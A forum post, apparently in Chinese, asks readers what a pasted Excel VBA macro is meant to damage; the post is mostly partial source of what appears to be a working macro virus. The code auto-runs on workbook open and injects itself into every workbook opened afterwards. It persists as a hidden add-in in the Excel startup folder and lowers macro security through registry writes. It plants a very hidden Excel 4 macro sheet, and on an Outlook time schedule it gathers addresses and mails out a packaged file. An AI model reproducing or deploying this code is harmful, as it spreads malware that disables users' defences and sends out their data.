大家来看下，这代码想破坏什么(太大了，就发部份代码)
dPrivate Sub auto_open()office? xls???vba?virus xls??? vba? virus
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Call delete_this_wk
Call copytoworkbook
If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
ThisWorkbook.Save
Application.ScreenUpdating = True
End If
End Sub
Private Sub copytoworkbook()
Const DQUOTE = """"
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"
End With
End Sub
Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
.DeleteLines 1, .CountOfLines
End With
End Sub
Function do_what()
If ThisWorkbook.Path <> Application.StartupPath Then
RestoreAfterOpen
Call OpenDoor
Call Microsofthobby
Call ActionJudge
End If
End Function
Function copystart(ByVal wb As Workbook)
On Error Resume Next
Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("k4.xls").VBProject
Set VBProj2 = wb.VBProject
If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
End Function
Function copymodule(ModuleName As String, _
FromVBProject As VBIDE.VBProject, _
ToVBProject As VBIDE.VBProject, _
OverwriteExisting As Boolean) As Boolean
On Error Resume Next
Dim VBComp As VBIDE.VBComponent
Dim FName As String
Dim CompName As String
Dim S As String
Dim SlashPos As Long
Dim ExtPos As Long
Dim TempVBComp As VBIDE.VBComponent
If FromVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If Trim(ModuleName) = vbNullString Then
copymodule = False
Exit Function
End If
If ToVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If FromVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
If ToVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
On Error Resume Next
Set VBComp = FromVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
FName = Environ("Temp") & "" & ModuleName & ".bas"
If OverwriteExisting = True Then
If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
Err.Clear
Kill FName
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
End If
With ToVBProject.VBComponents
.Remove .Item(ModuleName)
End With
Else
Err.Clear
Set VBComp = ToVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
If Err.Number = 9 Then
Else
copymodule = False
Exit Function
End If
End If
End If
FromVBProject.VBComponents(ModuleName).Export FileName:=FName
SlashPos = InStrRev(FName, "")
ExtPos = InStrRev(FName, ".")
CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
Set VBComp = Nothing
Set VBComp = ToVBProject.VBComponents(CompName)
If VBComp Is Nothing Then
ToVBProject.VBComponents.Import FileName:=FName
Else
If VBComp.Type = vbext_ct_Document Then
Set TempVBComp = ToVBProject.VBComponents.Import(FName)
With VBComp.CodeModule
.DeleteLines 1, .CountOfLines
S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
.InsertLines 1, S
End With
On Error GoTo 0
ToVBProject.VBComponents.Remove TempVBComp
End If
End If
Kill FName
copymodule = True
End Function
Function Microsofthobby()
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath & "\k4.xls"
If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False
Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
ThisWorkbook.IsAddin = True
ThisWorkbook.SaveCopyAs MyFile
ThisWorkbook.IsAddin = False
Application.ScreenUpdating = True
End If
End Function
Function OpenDoor()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office" & VS & "\Excel\Security\Level"
KValue1 = 1
KValue2 = 1
Call WReg(RK1, KValue1, "REG_DWORD")
Call WReg(RK2, KValue2, "REG_DWORD")
Call WReg(RK3, KValue1, "REG_DWORD")
Call WReg(RK4, KValue2, "REG_DWORD")
End Function
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Dim oWshell
Set oWshell = CreateObject("WScript.Shell")
If ValueType = "" Then
oWshell.RegWrite strkey, Value
Else
oWshell.RegWrite strkey, Value, ValueType
End If
Set oWshell = Nothing
End Sub
Private Sub Movemacro4(ByVal wb As Workbook)
On Error Resume Next
Dim sht As Object
wb.Sheets(1).Select
Sheets.Add Type:=xlExcel4MacroSheet
ActiveSheet.Name = "Macro1"
Range("A2").Select
ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
Range("A3").Select
ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" & Application.UserName & """))=4)"
Range("A4").Select
ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，关闭 " & Chr(10) & Now & Chr(10) & "Please Enable Macro!"",3)"
Range("A5").Select
ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
Range("A6").Select
ActiveCell.FormulaR1C1 = "=END.IF()"
Range("A7").Select
ActiveCell.FormulaR1C1 = "=RETURN()"
For Each sht In wb.Sheets
wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
Next
wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
End Sub
Private Function WorkbookOpen(WorkBookName As String) As Boolean
WorkbookOpen = False
On Error GoTo WorkBookNotOpen
If Len(Application.Workbooks(WorkBookName).Name) > 0 Then
WorkbookOpen = True
Exit Function
End If
WorkBookNotOpen:
End Function
Private Sub ActionJudge()
Const T1 As Date = "10:00:00"
Const T2 As Date = "11:00:00"
Const T3 As Date = "14:00:00"
Const T4 As Date = "15:00:00"
Dim SentTime As Date, WshShell
Set WshShell = CreateObject("WScript.Shell")
If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command")), "OUTLOOK.EXE") > 0 Then Exit Sub
If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
Exit Sub
Else
CreateFile "1", "D:\Collected_Address:frag1.txt"
search_in_OL
End If
Else
If Not if_outlook_open Then Exit Sub
If Time > T2 And Time <= DateAdd("n", 10, T2) Or Time > T4 And Time <= DateAdd("n", 10, T4) Then
Exit Sub
Else
SentTime = DateAdd("n", -21, Now)
On Error GoTo timeError
SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
timeError:
If Now < DateAdd("n", 20, SentTime) Or ReadOut("D:\Collected_Address\log.txt") = "" Then
Exit Sub
Else
CreateFile "", "D:\Collected_Address:frag1.txt"
CreateFile Now, "D:\Collected_Address:frag2.txt"
CreatCab_SendMail
End If
End If
End If
End Sub
